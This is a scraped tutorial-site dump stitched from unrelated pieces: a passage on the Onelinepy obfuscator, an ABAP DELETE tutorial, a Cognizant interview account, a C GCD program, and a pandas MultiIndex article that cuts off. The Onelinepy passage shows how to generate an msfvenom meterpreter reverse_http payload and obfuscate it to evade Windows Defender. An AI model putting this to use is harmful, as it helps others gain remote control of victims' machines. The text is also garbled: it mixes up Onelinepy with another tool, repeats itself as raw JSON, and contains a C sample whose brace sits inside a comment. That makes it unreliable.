Onelinepy is a free and open-source tool available on GitHub. Onelinepy is used to Generate One-Liners And FUD Payloads. Devploit is used to generate FUD Payloads in websites and webapps. This tool can be used to get information about our target(domain). We can target any domain using Onelinepy. The interactive console provides a number of helpful features, such as command completion and contextual help. This tool is written in python language. You must have python language installed in your Kali Linux to use this tool. Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender. FUD meterpreter python payload can generate python payload.
Step 1: Use the following command to install the tool from Github.
git clone https://github.com/spicesouls/onelinepy
cd onelinepy
Step 2: Now you have to give the permission of the execution to the tool.
chmod +x setup.sh
./setup.sh
Step 3: Now run the tool using the following command.
onelinepy
Now the tool is running successfully Now we will example to run the tool.
Example 1: Use the onelinepy run the tool to create FUD Meterpreter Python Payload.
onelinepy -m /one_line/base64 –script payload.txt -i 3 –output obfustucated_payload.txt
This Obfuscated Payload works against Windows 10 Defender.
Example 2: Use the onelinepy run the tool to create FUD Meterpreter Python Payload.
msfvenom –payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
This meterpreter_reverse_http payload is created for LHOST AND LPORT using msfvenom. Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender. FUD meterpreter python payload can generate python payload.
Linux-Tools
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Thread functions in C/C++
Basic Operators in Shell Scripting
nohup Command in Linux with Examples
Array Basics in Shell Scripting | Set 1
Named Pipe or FIFO with example C program
chown command in Linux with Examples
mv command in Linux with examples
Docker - COPY Instruction
Start/Stop/Restart Services Using Systemctl in Linux
SED command in Linux | Set 2
|
[
{
"code": null,
"e": 24326,
"s": 24298,
"text": "\n18 Jul, 2021"
},
{
"code": null,
"e": 25029,
"s": 24326,
"text": "Onelinepy is a free and open-source tool available on GitHub. Onelinepy is used to Generate One-Liners And FUD Payloads. Devploit is used to generate FUD Payloads in websites and webapps. This tool can be used to get information about our target(domain). We can target any domain using Onelinepy. The interactive console provides a number of helpful features, such as command completion and contextual help. This tool is written in python language. You must have python language installed in your Kali Linux to use this tool. Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender. FUD meterpreter python payload can generate python payload."
},
{
"code": null,
"e": 25096,
"s": 25029,
"text": "Step 1: Use the following command to install the tool from Github."
},
{
"code": null,
"e": 25159,
"s": 25096,
"text": "git clone https://github.com/spicesouls/onelinepy\ncd onelinepy"
},
{
"code": null,
"e": 25233,
"s": 25159,
"text": "Step 2: Now you have to give the permission of the execution to the tool."
},
{
"code": null,
"e": 25262,
"s": 25233,
"text": "chmod +x setup.sh\n./setup.sh"
},
{
"code": null,
"e": 25316,
"s": 25262,
"text": "Step 3: Now run the tool using the following command."
},
{
"code": null,
"e": 25326,
"s": 25316,
"text": "onelinepy"
},
{
"code": null,
"e": 25400,
"s": 25326,
"text": "Now the tool is running successfully Now we will example to run the tool."
},
{
"code": null,
"e": 25484,
"s": 25400,
"text": "Example 1: Use the onelinepy run the tool to create FUD Meterpreter Python Payload."
},
{
"code": null,
"e": 25572,
"s": 25484,
"text": "onelinepy -m /one_line/base64 –script payload.txt -i 3 –output obfustucated_payload.txt"
},
{
"code": null,
"e": 25631,
"s": 25572,
"text": "This Obfuscated Payload works against Windows 10 Defender."
},
{
"code": null,
"e": 25715,
"s": 25631,
"text": "Example 2: Use the onelinepy run the tool to create FUD Meterpreter Python Payload."
},
{
"code": null,
"e": 25799,
"s": 25715,
"text": "msfvenom –payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt"
},
{
"code": null,
"e": 26059,
"s": 25799,
"text": "This meterpreter_reverse_http payload is created for LHOST AND LPORT using msfvenom. Python Obfuscator To Generate One-Liners And FUD Payloads. The Obfuscated Payload works against Windows Defender. FUD meterpreter python payload can generate python payload."
},
{
"code": null,
"e": 26071,
"s": 26059,
"text": "Linux-Tools"
},
{
"code": null,
"e": 26082,
"s": 26071,
"text": "Linux-Unix"
},
{
"code": null,
"e": 26180,
"s": 26082,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26189,
"s": 26180,
"text": "Comments"
},
{
"code": null,
"e": 26202,
"s": 26189,
"text": "Old Comments"
},
{
"code": null,
"e": 26228,
"s": 26202,
"text": "Thread functions in C/C++"
},
{
"code": null,
"e": 26263,
"s": 26228,
"text": "Basic Operators in Shell Scripting"
},
{
"code": null,
"e": 26300,
"s": 26263,
"text": "nohup Command in Linux with Examples"
},
{
"code": null,
"e": 26340,
"s": 26300,
"text": "Array Basics in Shell Scripting | Set 1"
},
{
"code": null,
"e": 26382,
"s": 26340,
"text": "Named Pipe or FIFO with example C program"
},
{
"code": null,
"e": 26419,
"s": 26382,
"text": "chown command in Linux with Examples"
},
{
"code": null,
"e": 26453,
"s": 26419,
"text": "mv command in Linux with examples"
},
{
"code": null,
"e": 26479,
"s": 26453,
"text": "Docker - COPY Instruction"
},
{
"code": null,
"e": 26532,
"s": 26479,
"text": "Start/Stop/Restart Services Using Systemctl in Linux"
}
] |
SAP ABAP - Deleting Internal Tables
|
The DELETE statement is used to delete one or more records from an internal table. The records of an internal table are deleted either by specifying a table key or condition or by finding duplicate entries. If an internal table has a non-unique key and contains duplicate entries, the first entry from the table is deleted.
Following is the syntax to use the DELETE statement to delete a record or line from an internal table −
DELETE TABLE <internal_table> FROM <work_area_itab>.
In the above syntax, the <work_area_itab> expression is a work area and it should be compatible with the type of the <internal_table> internal table. The delete operation is performed on the basis of a default key that could be taken from the work area components.
You may also specify a table key explicitly in the DELETE TABLE statement by using the following syntax −
DELETE TABLE <internal_table> WITH TABLE KEY <K1> = <F1>............ <Kn> = <Fn>.
In this syntax, <F1>, <F2>....<Fn> are the fields of an internal table and <K1>, <K2>....<Kn> are the key fields of the table. The DELETE statement is used to delete the records or lines of the <internal_table> table based on the expressions <K1> = <F1>, <K2> = <F2>...<Kn> = <Fn>.
Note − If the data types of the <F1>, <F2>....<Fn> fields are not compatible with the <K1>, <K2>...<Kn> key fields then the SAP system automatically converts them into the compatible format.
REPORT ZDELETE_DEMO.
DATA: BEGIN OF Line1,
ColP TYPE I,
ColQ TYPE I,
END OF Line1.
DATA mytable LIKE HASHED TABLE OF Line1
WITH UNIQUE KEY ColP.
DO 8 TIMES.
Line1-ColP = SY-INDEX.
Line1-ColQ = SY-INDEX + 4.
INSERT Line1 INTO TABLE mytable.
ENDDO.
Line1-ColP = 1.
DELETE TABLE mytable: FROM Line1,
WITH TABLE KEY ColP = 3.
LOOP AT mytable INTO Line1.
WRITE: / Line1-ColP, Line1-ColQ.
ENDLOOP.
The above code produces the following output −
2 6
4 8
5 9
6 10
7 11
8 12
In this example, mytable has two fields, ColP and ColQ. Initially, mytable is populated with eight lines, where the ColP contains the values 1, 2, 3, 4, 5, 6, 7 and 8. The ColQ contains the values 5, 6, 7, 8, 9, 10, 11 and 12 because the ColP values are incremented by 4 every time.
The DELETE statement is used to delete the lines from mytable where the value of the ColP key field is either 1 or 3. After deletion, the ColP field of mytable contains the values 2, 4, 5, 6, 7 and 8, as shown in the output. The ColQ field contains the values 6, 8, 9, 10, 11 and 12.
25 Lectures
6 hours
Sanjo Thomas
26 Lectures
2 hours
Neha Gupta
30 Lectures
2.5 hours
Sumit Agarwal
30 Lectures
4 hours
Sumit Agarwal
14 Lectures
1.5 hours
Neha Malik
13 Lectures
1.5 hours
Neha Malik
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 3222,
"s": 2898,
"text": "The DELETE statement is used to delete one or more records from an internal table. The records of an internal table are deleted either by specifying a table key or condition or by finding duplicate entries. If an internal table has a non-unique key and contains duplicate entries, the first entry from the table is deleted."
},
{
"code": null,
"e": 3326,
"s": 3222,
"text": "Following is the syntax to use the DELETE statement to delete a record or line from an internal table −"
},
{
"code": null,
"e": 3380,
"s": 3326,
"text": "DELETE TABLE <internal_table> FROM <work_area_itab>.\n"
},
{
"code": null,
"e": 3645,
"s": 3380,
"text": "In the above syntax, the <work_area_itab> expression is a work area and it should be compatible with the type of the <internal_table> internal table. The delete operation is performed on the basis of a default key that could be taken from the work area components."
},
{
"code": null,
"e": 3751,
"s": 3645,
"text": "You may also specify a table key explicitly in the DELETE TABLE statement by using the following syntax −"
},
{
"code": null,
"e": 3834,
"s": 3751,
"text": "DELETE TABLE <internal_table> WITH TABLE KEY <K1> = <F1>............ <Kn> = <Fn>.\n"
},
{
"code": null,
"e": 4116,
"s": 3834,
"text": "In this syntax, <F1>, <F2>....<Fn> are the fields of an internal table and <K1>, <K2>....<Kn> are the key fields of the table. The DELETE statement is used to delete the records or lines of the <internal_table> table based on the expressions <K1> = <F1>, <K2> = <F2>...<Kn> = <Fn>."
},
{
"code": null,
"e": 4307,
"s": 4116,
"text": "Note − If the data types of the <F1>, <F2>....<Fn> fields are not compatible with the <K1>, <K2>...<Kn> key fields then the SAP system automatically converts them into the compatible format."
},
{
"code": null,
"e": 4720,
"s": 4307,
"text": "REPORT ZDELETE_DEMO. \nDATA: BEGIN OF Line1, \nColP TYPE I, \nColQ TYPE I, \nEND OF Line1. \nDATA mytable LIKE HASHED TABLE OF Line1 \nWITH UNIQUE KEY ColP. \nDO 8 TIMES. \n\nLine1-ColP = SY-INDEX. \nLine1-ColQ = SY-INDEX + 4. \nINSERT Line1 INTO TABLE mytable. \nENDDO. \n\nLine1-ColP = 1. \nDELETE TABLE mytable: FROM Line1, \nWITH TABLE KEY ColP = 3.\nLOOP AT mytable INTO Line1. \n\nWRITE: / Line1-ColP, Line1-ColQ. \nENDLOOP."
},
{
"code": null,
"e": 4767,
"s": 4720,
"text": "The above code produces the following output −"
},
{
"code": null,
"e": 4848,
"s": 4767,
"text": "2 6 \n4 8 \n5 9 \n6 10 \n7 11 \n8 12\n"
},
{
"code": null,
"e": 5131,
"s": 4848,
"text": "In this example, mytable has two fields, ColP and ColQ. Initially, mytable is populated with eight lines, where the ColP contains the values 1, 2, 3, 4, 5, 6, 7 and 8. The ColQ contains the values 5, 6, 7, 8, 9, 10, 11 and 12 because the ColP values are incremented by 4 every time."
},
{
"code": null,
"e": 5415,
"s": 5131,
"text": "The DELETE statement is used to delete the lines from mytable where the value of the ColP key field is either 1 or 3. After deletion, the ColP field of mytable contains the values 2, 4, 5, 6, 7 and 8, as shown in the output. The ColQ field contains the values 6, 8, 9, 10, 11 and 12."
},
{
"code": null,
"e": 5448,
"s": 5415,
"text": "\n 25 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 5462,
"s": 5448,
"text": " Sanjo Thomas"
},
{
"code": null,
"e": 5495,
"s": 5462,
"text": "\n 26 Lectures \n 2 hours \n"
},
{
"code": null,
"e": 5507,
"s": 5495,
"text": " Neha Gupta"
},
{
"code": null,
"e": 5542,
"s": 5507,
"text": "\n 30 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 5557,
"s": 5542,
"text": " Sumit Agarwal"
},
{
"code": null,
"e": 5590,
"s": 5557,
"text": "\n 30 Lectures \n 4 hours \n"
},
{
"code": null,
"e": 5605,
"s": 5590,
"text": " Sumit Agarwal"
},
{
"code": null,
"e": 5640,
"s": 5605,
"text": "\n 14 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 5652,
"s": 5640,
"text": " Neha Malik"
},
{
"code": null,
"e": 5687,
"s": 5652,
"text": "\n 13 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 5699,
"s": 5687,
"text": " Neha Malik"
},
{
"code": null,
"e": 5706,
"s": 5699,
"text": " Print"
},
{
"code": null,
"e": 5717,
"s": 5706,
"text": " Add Notes"
}
] |
Cognizant Interview Experience | On-Campus 2020 - GeeksforGeeks
|
08 Jan, 2021
I would love to share my on-campus placement experience with Cognizant. Cognizant conducted an online exam on the Amcat platform for our college Jadavpur University on the 18th and 19th of November.
Round 1 (Written Test): In round 1 there was a written test that consisted of 4 sections.
Logical section:
Mathematical aptitude section:
Coding section: here we had 7 automata questions to solve, and we had C, Python, Java as options.
Paragraph writing section: here I was given a topic to write about the technical and soft skills I will learn before joining the company and why within 200 words.
The result was declared after a week and luckily I was shortlisted for the interview. From our college, around 550 students sat for the exam that year, and they shortlisted 210 people for the interview. I had the interview round on the 30th of November on Amcat smart meet platform. Due to the pandemic, all the rounds were virtual and partnered with Amcat for the 2020 batch.
Round 2 (Interview technical+HR): Though the process was virtual, and they had to interview around 2500 students this year they kept technical and HR together which is usually done separately by the company. My interview was scheduled from 6 pm to 7 pm, and I was assigned only one person to interview me.
Questions asked me in the interview round:
Tell me something about yourself. [most common question asked by most of the company]. I gave then a basic introduction about myself stating from my name to my educational background then my interests in general and also in terms of technology. Keep the introduction brief so that in little words it says all about you.Why Cognizant? To this told him that I am interested in coding and I have heard of the training that the company provided and I believe I would get to learn a lot as a fresher. Besides during the preplacement talk, one of the mams said that Cognizant organizes some charity events and employees can be a part of it if they one, so these are some reasons why I want to be a part of the company and the interviewer seemed to be quite impressed. I mentioned in my resume that I know C and python, so he asked me if I know Java. To this, I answered that I don’t know Java yet but as I am interested in learning app development so before joining the company I would Surely learn the language.He asked what is the use of the library in C programming.Then he asked me how is the header file written in C programming and to answering that he asked me the difference between writing a header file within ” ” and within <>6. What will be the output?a=1
printf("%d%d%d",++a,a,a++);Difference between C and python?What are the latest technologies used these days?Some basic of OPPS from PythonWhat is a null pointer and a dangling pointer?Questions from file handingHow to print the address of a variable without using a pointer?What is the pointer to the pointer and how do we denote that?What is the column in the table called DBMSAcid properties of DBMSWrite a query to return the third-highest salary from an employee tableHe gave me a maths question to solveThe next question was if the corona situation sustains then how am I going to handle the situation in my life? To this, I answered him that if this still goes on I would stay in touch with my colleges and my seniors at the office and stay active virtually so that the situation does not stop me from making a progressLast he asked me if I had any queries? I asked him if the training was going to be virtual or at the office. To this, he couldn’t answer me because it was totally dependent on the situation. On the 19th of December, they sent the final selected candidates, and I was one of them.
Tell me something about yourself. [most common question asked by most of the company]. I gave then a basic introduction about myself stating from my name to my educational background then my interests in general and also in terms of technology. Keep the introduction brief so that in little words it says all about you.
Why Cognizant? To this told him that I am interested in coding and I have heard of the training that the company provided and I believe I would get to learn a lot as a fresher. Besides during the preplacement talk, one of the mams said that Cognizant organizes some charity events and employees can be a part of it if they one, so these are some reasons why I want to be a part of the company and the interviewer seemed to be quite impressed.
I mentioned in my resume that I know C and python, so he asked me if I know Java. To this, I answered that I don’t know Java yet but as I am interested in learning app development so before joining the company I would Surely learn the language.
He asked what is the use of the library in C programming.
Then he asked me how is the header file written in C programming and to answering that he asked me the difference between writing a header file within ” ” and within <>
6. What will be the output?a=1
printf("%d%d%d",++a,a,a++);
6. What will be the output?
a=1
printf("%d%d%d",++a,a,a++);
Difference between C and python?
What are the latest technologies used these days?
Some basic of OPPS from Python
What is a null pointer and a dangling pointer?
Questions from file handing
How to print the address of a variable without using a pointer?
What is the pointer to the pointer and how do we denote that?
What is the column in the table called DBMS
Acid properties of DBMS
Write a query to return the third-highest salary from an employee table
He gave me a maths question to solve
The next question was if the corona situation sustains then how am I going to handle the situation in my life? To this, I answered him that if this still goes on I would stay in touch with my colleges and my seniors at the office and stay active virtually so that the situation does not stop me from making a progress
Last he asked me if I had any queries? I asked him if the training was going to be virtual or at the office. To this, he couldn’t answer me because it was totally dependent on the situation. On the 19th of December, they sent the final selected candidates, and I was one of them.
General Advice:
Be thorough with the resume because I am from a nontechnical background but as I have mentioned efficient in C, python, DBMS, SQL so my all questions were from there and not a single question from my own subject that is IEEBe confident as they also monitor thatIf you are not confident in answering any question, just skip that but avoid saying wrong deliberately
Be thorough with the resume because I am from a nontechnical background but as I have mentioned efficient in C, python, DBMS, SQL so my all questions were from there and not a single question from my own subject that is IEE
Be confident as they also monitor that
If you are not confident in answering any question, just skip that but avoid saying wrong deliberately
ALL THE BEST FOR YOUR TURN
Cognizant
Cognizant-interview-experience
Marketing
On-Campus
Interview Experiences
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Amazon Interview Experience for SDE-1 (On-Campus)
Microsoft Interview Experience for Internship (Via Engage)
Amazon Interview Experience for SDE-1
Amazon Interview Experience (Off-Campus) 2022
Amazon Interview Experience for SDE1 (8 Months Experienced) 2022
Amazon Interview Experience for SDE-1
Amazon Interview Experience for SDE-1(Off-Campus)
Persistent Systems Interview Experience (Martian Program)
Honeywell Technology Interview Experience | On-Campus 2021
Microsoft Interview Experience for SDE-1 (Hyderabad)
|
[
{
"code": null,
"e": 25052,
"s": 25024,
"text": "\n08 Jan, 2021"
},
{
"code": null,
"e": 25251,
"s": 25052,
"text": "I would love to share my on-campus placement experience with Cognizant. Cognizant conducted an online exam on the Amcat platform for our college Jadavpur University on the 18th and 19th of November."
},
{
"code": null,
"e": 25342,
"s": 25251,
"text": "Round 1 (Written Test): In round 1 there was a written test that consisted of 4 sections. "
},
{
"code": null,
"e": 25359,
"s": 25342,
"text": "Logical section:"
},
{
"code": null,
"e": 25390,
"s": 25359,
"text": "Mathematical aptitude section:"
},
{
"code": null,
"e": 25489,
"s": 25390,
"text": "Coding section: here we had 7 automata questions to solve, and we had C, Python, Java as options. "
},
{
"code": null,
"e": 25652,
"s": 25489,
"text": "Paragraph writing section: here I was given a topic to write about the technical and soft skills I will learn before joining the company and why within 200 words."
},
{
"code": null,
"e": 26029,
"s": 25652,
"text": "The result was declared after a week and luckily I was shortlisted for the interview. From our college, around 550 students sat for the exam that year, and they shortlisted 210 people for the interview. I had the interview round on the 30th of November on Amcat smart meet platform. Due to the pandemic, all the rounds were virtual and partnered with Amcat for the 2020 batch."
},
{
"code": null,
"e": 26335,
"s": 26029,
"text": "Round 2 (Interview technical+HR): Though the process was virtual, and they had to interview around 2500 students this year they kept technical and HR together which is usually done separately by the company. My interview was scheduled from 6 pm to 7 pm, and I was assigned only one person to interview me."
},
{
"code": null,
"e": 26378,
"s": 26335,
"text": "Questions asked me in the interview round:"
},
{
"code": null,
"e": 28746,
"s": 26378,
"text": "Tell me something about yourself. [most common question asked by most of the company]. I gave then a basic introduction about myself stating from my name to my educational background then my interests in general and also in terms of technology. Keep the introduction brief so that in little words it says all about you.Why Cognizant? To this told him that I am interested in coding and I have heard of the training that the company provided and I believe I would get to learn a lot as a fresher. Besides during the preplacement talk, one of the mams said that Cognizant organizes some charity events and employees can be a part of it if they one, so these are some reasons why I want to be a part of the company and the interviewer seemed to be quite impressed. I mentioned in my resume that I know C and python, so he asked me if I know Java. To this, I answered that I don’t know Java yet but as I am interested in learning app development so before joining the company I would Surely learn the language.He asked what is the use of the library in C programming.Then he asked me how is the header file written in C programming and to answering that he asked me the difference between writing a header file within ” ” and within <>6. What will be the output?a=1\nprintf(\"%d%d%d\",++a,a,a++);Difference between C and python?What are the latest technologies used these days?Some basic of OPPS from PythonWhat is a null pointer and a dangling pointer?Questions from file handingHow to print the address of a variable without using a pointer?What is the pointer to the pointer and how do we denote that?What is the column in the table called DBMSAcid properties of DBMSWrite a query to return the third-highest salary from an employee tableHe gave me a maths question to solveThe next question was if the corona situation sustains then how am I going to handle the situation in my life? To this, I answered him that if this still goes on I would stay in touch with my colleges and my seniors at the office and stay active virtually so that the situation does not stop me from making a progressLast he asked me if I had any queries? I asked him if the training was going to be virtual or at the office. To this, he couldn’t answer me because it was totally dependent on the situation. On the 19th of December, they sent the final selected candidates, and I was one of them."
},
{
"code": null,
"e": 29067,
"s": 28746,
"text": "Tell me something about yourself. [most common question asked by most of the company]. I gave then a basic introduction about myself stating from my name to my educational background then my interests in general and also in terms of technology. Keep the introduction brief so that in little words it says all about you."
},
{
"code": null,
"e": 29511,
"s": 29067,
"text": "Why Cognizant? To this told him that I am interested in coding and I have heard of the training that the company provided and I believe I would get to learn a lot as a fresher. Besides during the preplacement talk, one of the mams said that Cognizant organizes some charity events and employees can be a part of it if they one, so these are some reasons why I want to be a part of the company and the interviewer seemed to be quite impressed. "
},
{
"code": null,
"e": 29756,
"s": 29511,
"text": "I mentioned in my resume that I know C and python, so he asked me if I know Java. To this, I answered that I don’t know Java yet but as I am interested in learning app development so before joining the company I would Surely learn the language."
},
{
"code": null,
"e": 29814,
"s": 29756,
"text": "He asked what is the use of the library in C programming."
},
{
"code": null,
"e": 29983,
"s": 29814,
"text": "Then he asked me how is the header file written in C programming and to answering that he asked me the difference between writing a header file within ” ” and within <>"
},
{
"code": null,
"e": 30042,
"s": 29983,
"text": "6. What will be the output?a=1\nprintf(\"%d%d%d\",++a,a,a++);"
},
{
"code": null,
"e": 30070,
"s": 30042,
"text": "6. What will be the output?"
},
{
"code": null,
"e": 30102,
"s": 30070,
"text": "a=1\nprintf(\"%d%d%d\",++a,a,a++);"
},
{
"code": null,
"e": 30135,
"s": 30102,
"text": "Difference between C and python?"
},
{
"code": null,
"e": 30185,
"s": 30135,
"text": "What are the latest technologies used these days?"
},
{
"code": null,
"e": 30216,
"s": 30185,
"text": "Some basic of OPPS from Python"
},
{
"code": null,
"e": 30263,
"s": 30216,
"text": "What is a null pointer and a dangling pointer?"
},
{
"code": null,
"e": 30291,
"s": 30263,
"text": "Questions from file handing"
},
{
"code": null,
"e": 30355,
"s": 30291,
"text": "How to print the address of a variable without using a pointer?"
},
{
"code": null,
"e": 30417,
"s": 30355,
"text": "What is the pointer to the pointer and how do we denote that?"
},
{
"code": null,
"e": 30461,
"s": 30417,
"text": "What is the column in the table called DBMS"
},
{
"code": null,
"e": 30485,
"s": 30461,
"text": "Acid properties of DBMS"
},
{
"code": null,
"e": 30557,
"s": 30485,
"text": "Write a query to return the third-highest salary from an employee table"
},
{
"code": null,
"e": 30594,
"s": 30557,
"text": "He gave me a maths question to solve"
},
{
"code": null,
"e": 30912,
"s": 30594,
"text": "The next question was if the corona situation sustains then how am I going to handle the situation in my life? To this, I answered him that if this still goes on I would stay in touch with my colleges and my seniors at the office and stay active virtually so that the situation does not stop me from making a progress"
},
{
"code": null,
"e": 31192,
"s": 30912,
"text": "Last he asked me if I had any queries? I asked him if the training was going to be virtual or at the office. To this, he couldn’t answer me because it was totally dependent on the situation. On the 19th of December, they sent the final selected candidates, and I was one of them."
},
{
"code": null,
"e": 31208,
"s": 31192,
"text": "General Advice:"
},
{
"code": null,
"e": 31572,
"s": 31208,
"text": "Be thorough with the resume because I am from a nontechnical background but as I have mentioned efficient in C, python, DBMS, SQL so my all questions were from there and not a single question from my own subject that is IEEBe confident as they also monitor thatIf you are not confident in answering any question, just skip that but avoid saying wrong deliberately"
},
{
"code": null,
"e": 31796,
"s": 31572,
"text": "Be thorough with the resume because I am from a nontechnical background but as I have mentioned efficient in C, python, DBMS, SQL so my all questions were from there and not a single question from my own subject that is IEE"
},
{
"code": null,
"e": 31835,
"s": 31796,
"text": "Be confident as they also monitor that"
},
{
"code": null,
"e": 31938,
"s": 31835,
"text": "If you are not confident in answering any question, just skip that but avoid saying wrong deliberately"
},
{
"code": null,
"e": 31965,
"s": 31938,
"text": "ALL THE BEST FOR YOUR TURN"
},
{
"code": null,
"e": 31975,
"s": 31965,
"text": "Cognizant"
},
{
"code": null,
"e": 32006,
"s": 31975,
"text": "Cognizant-interview-experience"
},
{
"code": null,
"e": 32016,
"s": 32006,
"text": "Marketing"
},
{
"code": null,
"e": 32026,
"s": 32016,
"text": "On-Campus"
},
{
"code": null,
"e": 32048,
"s": 32026,
"text": "Interview Experiences"
},
{
"code": null,
"e": 32146,
"s": 32048,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 32155,
"s": 32146,
"text": "Comments"
},
{
"code": null,
"e": 32168,
"s": 32155,
"text": "Old Comments"
},
{
"code": null,
"e": 32218,
"s": 32168,
"text": "Amazon Interview Experience for SDE-1 (On-Campus)"
},
{
"code": null,
"e": 32277,
"s": 32218,
"text": "Microsoft Interview Experience for Internship (Via Engage)"
},
{
"code": null,
"e": 32315,
"s": 32277,
"text": "Amazon Interview Experience for SDE-1"
},
{
"code": null,
"e": 32361,
"s": 32315,
"text": "Amazon Interview Experience (Off-Campus) 2022"
},
{
"code": null,
"e": 32426,
"s": 32361,
"text": "Amazon Interview Experience for SDE1 (8 Months Experienced) 2022"
},
{
"code": null,
"e": 32464,
"s": 32426,
"text": "Amazon Interview Experience for SDE-1"
},
{
"code": null,
"e": 32514,
"s": 32464,
"text": "Amazon Interview Experience for SDE-1(Off-Campus)"
},
{
"code": null,
"e": 32572,
"s": 32514,
"text": "Persistent Systems Interview Experience (Martian Program)"
},
{
"code": null,
"e": 32631,
"s": 32572,
"text": "Honeywell Technology Interview Experience | On-Campus 2021"
}
] |
Find out the GCD of two numbers using while loop in C language
|
Generate the greatest common divisor for any two numbers using C programming language.
Let the user enter any two numbers from the console. For those two numbers, let’s find the greatest common divisor.
The GCD of two numbers is the largest number that exactly divides both of them without a remainder.
The logic we use to find the GCD of two numbers is as follows −
while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero
{
rem=a % b;
a=b;
b=rem;
}
Print a
Live Demo
#include<stdio.h>
int main(){
int a,b,rem;
printf("enter any two numbers:");
scanf("%d%d",&a,&b);
while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero{
rem=a % b;
a=b;
b=rem;
}
printf("GCD of two numbers is:%d\n",a);
return 0;
}
enter any two numbers:8 12
GCD of two numbers is:4
Check: 8= 2 * 2 *2
12= 2 * 2 * 3
The Greatest common divisor of two numbers is : 2 * 2 =4
In this example, let us find the GCD of two numbers using for loop −
Live Demo
#include <stdio.h>
int main(){
int num1, num2, i, GCD;
printf("enter two numbers: ");
scanf("%d %d", &num1, &num2);
for(i=1; i <= num1 && i <= num2; ++i){
if(num1%i==0 && num2%i==0)
GCD = i;
}
printf("GCD of two numbers is:%d", GCD);
return 0;
}
enter two numbers: 24 48
GCD of two numbers is:24
|
[
{
"code": null,
"e": 1149,
"s": 1062,
"text": "Generate the greatest common divisor for any two numbers using C programming language."
},
{
"code": null,
"e": 1265,
"s": 1149,
"text": "Let the user enter any two numbers from the console. For those two numbers, let’s find the greatest common divisor."
},
{
"code": null,
"e": 1365,
"s": 1265,
"text": "The GCD of two numbers is the largest number that exactly divides both of them without a remainder."
},
{
"code": null,
"e": 1429,
"s": 1365,
"text": "The logic we use to find the GCD of two numbers is as follows −"
},
{
"code": null,
"e": 1569,
"s": 1429,
"text": "while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero\n {\n rem=a % b;\n a=b;\n b=rem;\n }\nPrint a"
},
{
"code": null,
"e": 1580,
"s": 1569,
"text": " Live Demo"
},
{
"code": null,
"e": 1876,
"s": 1580,
"text": "#include<stdio.h>\nint main(){\n int a,b,rem;\n printf(\"enter any two numbers:\");\n scanf(\"%d%d\",&a,&b);\n while(b!=0) //check for b=0 condition because in a/b ,b should not equal to zero{\n rem=a % b;\n a=b;\n b=rem;\n }\n printf(\"GCD of two numbers is:%d\\n\",a);\n return 0;\n}"
},
{
"code": null,
"e": 2025,
"s": 1876,
"text": "enter any two numbers:8 12\nGCD of two numbers is:4\n\nCheck: 8= 2 * 2 *2\n 12= 2 * 2 * 3\n\nThe Greatest common divisor of two numbers is : 2 * 2 =4"
},
{
"code": null,
"e": 2094,
"s": 2025,
"text": "In this example, let us find the GCD of two numbers using for loop −"
},
{
"code": null,
"e": 2105,
"s": 2094,
"text": " Live Demo"
},
{
"code": null,
"e": 2387,
"s": 2105,
"text": "#include <stdio.h>\nint main(){\n int num1, num2, i, GCD;\n printf(\"enter two numbers: \");\n scanf(\"%d %d\", &num1, &num2);\n for(i=1; i <= num1 && i <= num2; ++i){\n if(num1%i==0 && num2%i==0)\n GCD = i;\n }\n printf(\"GCD of two numbers is:%d\", GCD);\n return 0;\n}"
},
{
"code": null,
"e": 2437,
"s": 2387,
"text": "enter two numbers: 24 48\nGCD of two numbers is:24"
}
] |
Concatenate multiIndex into single index in Pandas Series - GeeksforGeeks
|
14 Sep, 2021
In this article, we will see how to concatenate multi-index to a single index in Pandas Series. Multi-index refers to having more than one index with the same name.
Create a sample series:
Python3
# importing pandas moduleimport pandas as pdimport numpy as np # Creating series data for address detailsindex_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sudheer', 'address1'), ('sudheer', 'address2')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data)
Output:
Joining two or more data is known as concatenation. Here we are going to concatenate the index using map function.
Syntax:
map(fun, iter)
fun: function
iter: iterations.
Below are various examples that depict how to concatenate multi-index into a single index in Series:
Example 1:
This code explains the joining of addresses into one based on multi-index.
Python3
# importing pandas moduleimport pandas as pd # Creating series data for address detailsindex_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sudheer', 'address1'), ('sudheer', 'address2')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)
Output:
Example 2:
This code is an example for all the given same name, but different values passed in a tuple.
Python3
# importing pandas moduleimport pandas as pd # importing numpy moduleimport numpy as np # Creating series data for address details with same name.index_values = pd.Series([('sravan', 'address1'), ('sravan', 'address2'), ('sravan', 'address3'), ('sravan', 'address4')]) # assigning values with integersdata = pd.Series(np.arange(1, 5), index=index_values) # display dataprint(data) # mapping with data using '_' symbol with joindata1 = data.index.map('_'.join) print(data1)
Output:
Example 3:
This code gives a demo on multiple users given in nested list data structure.
Python3
